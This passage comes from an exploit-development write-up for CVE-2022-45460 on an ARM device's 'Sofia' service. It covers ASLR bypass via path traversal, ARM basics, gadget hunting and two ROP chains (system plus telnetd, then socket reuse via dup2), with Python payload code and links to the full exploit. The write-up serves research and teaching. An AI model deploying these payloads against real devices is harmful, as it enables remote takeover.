<p>As you might have guessed, our path traversal vulnerability came to the rescue once again, this time to bypass ASLR. There is really no magic to it other than dumping <code>/proc/self/maps</code> to retrieve the memory mapping of the <em>Sofia</em> process thus allowing to determine base addresses of all included libraries.</p>
<h3 id="arm-architecture">ARM Architecture</h3>
<p>Since building a ROP chain requires an understanding of the underlying architecture, we first have to cover some very basic concepts about the ARM architecture. If you&rsquo;re already familiar with this, feel free to skip this part.</p>
<p>ARM is a RISC architecture, meaning it uses a smaller set of simple instructions compared to complex ones like x86. It&rsquo;s widely used in mobile devices and embedded systems.</p>
<p>A unique aspect of ARM is the Thumb instruction set. Thumb is a subset of the most commonly used 32-bit ARM instructions, with each instruction being just 16 bits long. These instructions have the same effect as their 32-bit counterparts but allow for more compact, efficient code. ARM processors can switch between ARM and Thumb modes during execution<sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup>.</p>
<p>For ROP chains, ARM&rsquo;s calling convention<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup> is particularly important, as it dictates how function arguments are passed and how control flow is managed. ARM has 16 general-purpose registers, from R0 to R15. Registers R0-R3 are used for passing the first four function arguments, and if a function has more than four arguments, the rest are placed on the stack. R4-R11 are used for storing local variables within a function. Return values from functions are stored in R0-R3.</p>
<p>When it comes to jumps in ARM, there are four main types: B, BL, BX, and BLX. These instructions control program flow and differ in their ability to save the return address or switch between ARM and Thumb modes. The table below summarizes their properties<sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup>:</p>
<table style="word-wrap: break-word; white-space: normal; overflow-wrap: break-world;">
<thead>
<tr>
<th>Instruction</th>
<th>Functionality</th>
<th>Saves Return Address (LR)</th>
<th>Can Switch Instruction Set?</th>
</tr>
</thead>
<tbody>
<tr>
<td>B</td>
<td>Simple branch</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>BL</td>
<td>Branch with Link</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>BX</td>
<td>Branch and exchange instruction set</td>
<td>No</td>
<td>Yes (depending on destination)</td>
</tr>
<tr>
<td>BLX</td>
<td>Branch with Link and exchange instruction set</td>
<td>Yes</td>
<td>Yes (depending on destination)</td>
</tr>
</tbody>
</table>
<p>When the return address is saved, it means that the address of the next instruction after the branch is stored in the Link Register (LR). This allows the program to return to this point after the branch or function call is complete. As we will see later, this is reflected in function prologues and epilogues. In a function&rsquo;s prologue, the LR register is typically pushed to the stack to preserve the return address, and in the epilogue, it is popped back into PC to ensure the program jumps back to the calling function.</p>
<h3 id="hunting-for-gadgets">Hunting for Gadgets</h3>
<p>Let&rsquo;s talk about building the ROP chain. At the end of the day, this process is all about finding useful gadgets that work together to achieve a specific goal. For my first attempt, I set out to build a chain that executes <code>system(&quot;/bin/sh&quot;)</code>.</p>
<p>For this to work I needed gadgets that would move the stack pointer into R0 (since R0 is where the first argument is passed) and then jump to the <code>system</code> function contained in the loaded libc. This way, I could use the stack to place the command I wanted to execute.</p>
<p>To find these gadgets, the widely used tool Ropper<sup id="fnref:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup> is very handy. It&rsquo;s designed for identifying and extracting ROP gadgets from binaries.</p>
<figure><img src="/static/roping-our-way-to-rce/ropper.png"><figcaption>
      <h4>Hunting for gadgets using Ropper.</h4>
    </figcaption>
</figure>

<p>After searching for a while I came up with the following solution:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">0x000175cc: pop <span class="o">{</span>r3, pc<span class="o">}</span>
</span></span><span class="line"><span class="cl">0x000535e8: system
</span></span><span class="line"><span class="cl">0x000368dc: mov r0, sp<span class="p">;</span> blx r3
</span></span></code></pre></td></tr></table>
</div>
</div><p>The first gadget sets R3 to a controlled value and jumps to the next address. The second gadget (<code>mov r0, sp; blx r3</code>) moves the stack pointer into R0 (the first argument for system) and branches to R3, which we previously set to the address of system.</p>
<p>Function addresses, such as the one for <code>system</code>, can be determined using <code>readelf -s</code>. However, it&rsquo;s important to remember that we&rsquo;ll need to add the base address of the respective binary or library to the offsets you see in the output. This ensures we&rsquo;re working with the correct addresses when constructing the ROP chain.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ readelf -s libc.so.0 <span class="p">|</span> grep system
</span></span><span class="line"><span class="cl">   659: 0003dfc0    <span class="m">80</span> FUNC    GLOBAL DEFAULT    <span class="m">7</span> svcerr_systemerr
</span></span><span class="line"><span class="cl">   853: 000535e8   <span class="m">116</span> FUNC    WEAK   DEFAULT    <span class="m">7</span> system
</span></span><span class="line"><span class="cl">   864: 000535e8   <span class="m">116</span> FUNC    GLOBAL DEFAULT    <span class="m">7</span> __libc_system
</span></span></code></pre></td></tr></table>
</div>
</div><p>As we learned earlier, the payload cannot contain any spaces. However, I found that this can easily be bypassed using the well-known <code>${IFS}</code> tactic<sup id="fnref:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup>.</p>
<p>Putting everything together I came up with an exploit roughly looking like the following (full source available <a href="https://github.com/born0monday/CVE-2022-45460/blob/main/exploit-simple.py">here</a>):</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">maps</span> <span class="o">=</span> <span class="n">fetch_maps</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">libc</span><span class="p">,</span> <span class="n">libc_base</span> <span class="o">=</span> <span class="n">parse_maps</span><span class="p">(</span><span class="n">maps</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">+=</span> <span class="mi">304</span> <span class="o">*</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">GADGETS</span><span class="p">[</span><span class="n">libc</span><span class="p">][</span><span class="mi">0</span><span class="p">])</span> <span class="c1"># pop {r3, pc}</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">GADGETS</span><span class="p">[</span><span class="n">libc</span><span class="p">][</span><span class="mi">1</span><span class="p">])</span> <span class="c1"># system</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">GADGETS</span><span class="p">[</span><span class="n">libc</span><span class="p">][</span><span class="mi">2</span><span class="p">])</span> <span class="c1"># mov r0, sp; blx r3</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> <span class="k">as</span> <span class="n">sock</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">sock</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="n">sock</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;GET /&#34;</span> <span class="o">+</span> <span class="n">payload</span> <span class="o">+</span> <span class="n">CMD</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;$</span><span class="si">{IFS}</span><span class="s2">&#34;</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s2">&#34;;.mns.cab HTTP/1.1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sock</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\r\n\r\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">sock</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>Since <code>/bin/sh</code> as a command wasn&rsquo;t very useful without a way to interact with it remotely, I used <code>telnetd</code> to start a local telnet server on port 1337. This allowed me to connect and get a shell.</p>
<figure><img src="/static/roping-our-way-to-rce/simple-exploit.png"><figcaption>
      <h4>Simple exploit with shell via telnetd.</h4>
    </figcaption>
</figure>

<p>Yay, RCE! But ever since analyzing the decompiled dispatcher function, another possible solution had been stuck in my mind. I kept wondering if it was actually possible. Time to find out - off to Part 2.</p>
<h3 id="part-2---taking-it-a-step-further">Part 2 - Taking it a Step Further</h3>
<p>Let&rsquo;s rewind a bit and recall the code section where control flow is transferred to our choosing because of the buffer overflow. We can see that shortly before the return statement there are two <code>fwrite</code> calls writing the response to the <code>socket_stream</code> of the connection to the client which sent the original request.</p>
<p>This led me to the following two assumptions:</p>
<ul>
<li>The connection isn&rsquo;t closed yet when the ROP chain is triggered</li>
<li>A reference to <code>socket_stream</code> is very likely still lying around in one of the registers</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl">    <span class="nf">write_response_header</span><span class="p">(</span><span class="n">socket_stream</span><span class="p">,</span><span class="mh">0x68</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">fwrite</span><span class="p">(</span><span class="s">&#34;&lt;html&gt;&lt;head&gt;&lt;title&gt;404 File Not Found&lt;/title&gt;&lt;/head&gt;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x35</span><span class="p">,</span><span class="n">socket_stream</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">fwrite</span><span class="p">(</span><span class="s">&#34;&lt;body&gt;The requested URL was not found on this server&lt;/body&gt;&lt;/html&gt;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x43</span><span class="p">,</span><span class="n">socket_stream</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>This reminded me of CTF challenges where the vulnerable binary is exposed over a socket, often using <code>socat</code>. In these cases, a common approach when crafting shellcode to achieve RCE is the following<sup id="fnref:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">fd</span> <span class="o">=</span> <span class="nf">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">,</span> <span class="n">IPPROTO_TCP</span><span class="p">);</span> <span class="c1">// create socket
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">connect</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span> <span class="o">&amp;</span><span class="n">serv_addr</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span> <span class="c1">// connect
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">dup2</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="c1">// dup socket and STDIN
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">dup2</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">// dup socket and STDOUT
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">dup2</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span> <span class="c1">// dup socket and STDERR
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">execve</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="c1">// execute /bin/sh
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>The <code>socket()</code> function creates a new socket using the specified domain, type, and protocol. <code>connect()</code> then establishes a connection to the target address. Once connected, <code>dup2()</code> is used three times to redirect the socket file descriptor to standard input (STDIN), standard output (STDOUT), and standard error (STDERR), effectively binding the shell&rsquo;s I/O to the socket. Finally, <code>execve()</code> executes <code>/bin/sh</code>, spawning a shell that communicates over the established connection.</p>
<p>In the situation as described above, I was already half way done with this strategy. I already had a socket/connection so anything left to do were the <code>dup2</code> calls and the call to <code>system</code>, right? This would allow me to reuse the connection already established as a shell.</p>
<p>Since I had a <code>FILE *stream</code> but needed an integer file descriptor for <code>dup2</code>, an extra step was required though - a call to <code>fileno()</code> to retrieve the corresponding file descriptor. So this made the plan look roughly like the following.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">fd</span> <span class="o">=</span> <span class="nf">fileno</span><span class="p">(</span><span class="n">stream</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nf">dup2</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nf">dup2</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nf">dup2</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>However, before jumping into building the ROP chain, I wanted to verify the assumptions I had made earlier. To do this, I set a breakpoint before the second <code>fwrite</code> call and another at the return statement. When hitting the first breakpoint, a reference to <code>socket_stream</code> should be in R3 (the 4th argument of <code>fwrite</code>).</p>
<figure><img src="/static/roping-our-way-to-rce/verify-assumption_1.png"><figcaption>
      <h4>Printing R3 register in GDB before fwrite call.</h4>
    </figcaption>
</figure>

<p>At the second breakpoint, we can see that the same value is still in R3, which confirms that we indeed have a reference to <code>socket_stream</code> available when the ROP chain is triggered.</p>
<figure><img src="/static/roping-our-way-to-rce/verify-assumption_2.png"><figcaption>
      <h4>Printing R3 register in GDB before ROP chain is triggered.</h4>
    </figcaption>
</figure>

<p>During this process, I also noticed that the <code>curl</code> command I had issued to trigger the breakpoints hadn&rsquo;t returned while the program was stopped. This meant that the connection was still open. Great news, the assumptions seemed to hold.</p>
<p>Next step, ROP chain. I continued with searching for gadgets that would move arguments into the correct registers and call the functions as outlined before. I assumed that every function called would return using <code>pop {pc}</code> and therefore I wouldn&rsquo;t need to worry about the chaining of gadgets and function calls. I was wrong, at least partly.</p>
<p>While the <code>pop {pc}</code> assumption was true I still couldn&rsquo;t simply chain the calls. Why? Because I forgot about function prologues. As we can see below in the function prologue of <code>fileno</code> for example the registers R4-R8 are pushed to the stack. This makes sure the registers can be restored upon function return (callee-save registers). But we can also see that the Link Register (LR) is pushed to the stack as well.</p>
<figure><img src="/static/roping-our-way-to-rce/disassemble-fileno-prologue.png"><figcaption>
      <h4>Inspecting fileno&#39;s disassembled function prologue.</h4>
    </figcaption>
</figure>

<p>With the knowledge of the different jump instructions discussed earlier, this also makes perfect sense. Functions are called using the <code>bl</code> instruction, which sets LR to the address of the instruction immediately following the jump. This ensures that upon exit of a function we&rsquo;re returning back to the correct location.</p>
<p>However, for my pursuit of building a ROP chain, this sounded like bad news because I didn&rsquo;t really have control over the LR register. I continued searching for gadgets that would allow me to set LR before jumping to a function. Even though the solution might seem obvious to you, it took me a good night&rsquo;s sleep to finally realize that we could simply skip the prologue. This way I wouldn&rsquo;t have to worry about the value in LR at all. So I simply added <code>+0x4</code> to every function symbol. Problem solved.</p>
<figure><img src="/static/roping-our-way-to-rce/disassemble-fileno-epilogue.png"><figcaption>
      <h4>Inspecting fileno&#39;s disassembled function epilogue.</h4>
    </figcaption>
</figure>

<p>The only requirement was to add some padding onto the stack to account for the function epilogue. In the case of <code>fileno</code>, this meant 5 x 8 bytes in total. This turned out to be quite useful, as it allowed me to set these registers to arbitrary values.</p>
<p>I continued to piece things together. As outlined I started with a call to <code>fileno</code>.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0xf964</span><span class="p">)</span> <span class="c1"># mov r0, r3; pop {r4, pc}</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r4 padding</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x3102c</span> <span class="o">+</span> <span class="mh">0x4</span><span class="p">)</span> <span class="c1"># fileno</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>The first gadget moves the socket reference <code>socket_stream</code> into R0 to ensure it is passed as an argument to <code>fileno</code>. After the call some padding is added to properly deal with the function epilogue. The <code>ldmia</code> construct can be regarded as equivalent to the <code>pop</code> we have seen earlier. Register R5 will be used later, so I&rsquo;m storing the address of <code>dup2</code> there in advance.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># fileno epilogue: ldmia sp!,{r4,r5,r6,r7,r8,pc}</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r4 padding</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0xce5c</span> <span class="o">+</span> <span class="mh">0x4</span><span class="p">)</span> <span class="c1"># r5 -&gt; dup2</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r6 padding</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r7 padding</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r8 padding</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>Next up are the calls to <code>dup2</code>. For this to work the function needs to be called three times for STDIN, STDOUT and STDERR. For all three calls, R0 should always be set to the file descriptor retrieved through <code>fileno</code>, while R1 starts with 0, then 1, and finally 2. The first call comes for free because R1 is set to 0 already.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0xce5c</span> <span class="o">+</span> <span class="mh">0x4</span><span class="p">)</span> <span class="c1"># dup2, r1 = 0</span>
</span></span><span class="line"><span class="cl"><span class="c1"># dup2 epilogue: ldmia sp!,{r7,pc}</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r7 padding</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>For the second call, I found a gadget that moves 1 into R1 before jumping to the address stored in R5, where I already have <code>dup2</code>.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x1cdcc</span><span class="p">)</span> <span class="c1"># mov r1, #1; mov r2, r6; blx r5</span>
</span></span><span class="line"><span class="cl"><span class="c1"># dup2 epilogue: ldmia sp!,{r7,pc}</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r7</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>Unfortunately, I couldn&rsquo;t find a feasible gadget for the third call. So, this is left as an exercise for the reader. :)</p>
<p>Now, all that was left to do was reuse the chain from the first simple exploit to spawn a shell.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x175cc</span><span class="p">)</span> <span class="c1"># pop {r3, pc};</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x535e8</span><span class="p">)</span> <span class="c1"># system</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x368dc</span><span class="p">)</span> <span class="c1"># mov r0, sp; blx r3</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>With that, it was finally time to test things out.</p>
<figure><img src="/static/roping-our-way-to-rce/reuse-socket-exploit.png"><figcaption>
      <h4>Final exploit with shell via connection reuse.</h4>
    </figcaption>
</figure>

<p>Success! A far more elegant solution than the first attempt. No need to start a telnetd server or establish a reverse shell!</p>
<p>The final exploit source code can be found <a href="https://github.com/born0monday/CVE-2022-45460">here</a>.</p>
<h2 id="wrapping-up">Wrapping up</h2>
<p>As already hinted along the way, I only discovered after developing the exploit that the vulnerability discussed here had already been identified and tracked as CVE-2022-45460<sup id="fnref:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup>. There had also already been an exploit<sup id="fnref:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup> out there that uses shellcode on the stack to achieve RCE. Clearly, my initial research on the product wasn&rsquo;t as thorough as it should have been. Nonetheless, I had lots of fun exploring alternative ways of exploiting the vulnerability and learned a great deal in the process. Given the existence of a public exploit, we felt comfortable releasing my full exploit, even though we would typically refrain from doing so in other circumstances.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>CVE-2018-10088 - <a href="https://nvd.nist.gov/vuln/detail/CVE-2018-10088">https://nvd.nist.gov/vuln/detail/CVE-2018-10088</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>Exploit for CVE-2018-10088 - <a href="https://www.exploit-db.com/exploits/44864">https://www.exploit-db.com/exploits/44864</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>CVE-2017-7577 - <a href="https://nvd.nist.gov/vuln/detail/CVE-2017-7577">https://nvd.nist.gov/vuln/detail/CVE-2017-7577</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>Checksec - <a href="https://github.com/slimm609/checksec">https://github.com/slimm609/checksec</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>Arm System emulator - <a href="https://www.qemu.org/docs/master/system/target-arm.html">https://www.qemu.org/docs/master/system/target-arm.html</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>GDB Static - <a href="https://github.com/guyush1/gdb-static">https://github.com/guyush1/gdb-static</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>Laptop Vectors by Vecteezy - <a href="https://www.vecteezy.com/free-vector/laptop">https://www.vecteezy.com/free-vector/laptop</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p>Raspberry Pi Vector Png - <a href="https://www.raspberrylovers.com/1995/06/raspberry-pi-vector-png.html">https://www.raspberrylovers.com/1995/06/raspberry-pi-vector-png.html</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p>GEF (GDB Enhanced Features) - <a href="https://github.com/hugsy/gef">https://github.com/hugsy/gef</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p>The Thumb instruction set - <a href="https://developer.arm.com/documentation/ddi0210/c/CACBCAAE">https://developer.arm.com/documentation/ddi0210/c/CACBCAAE</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
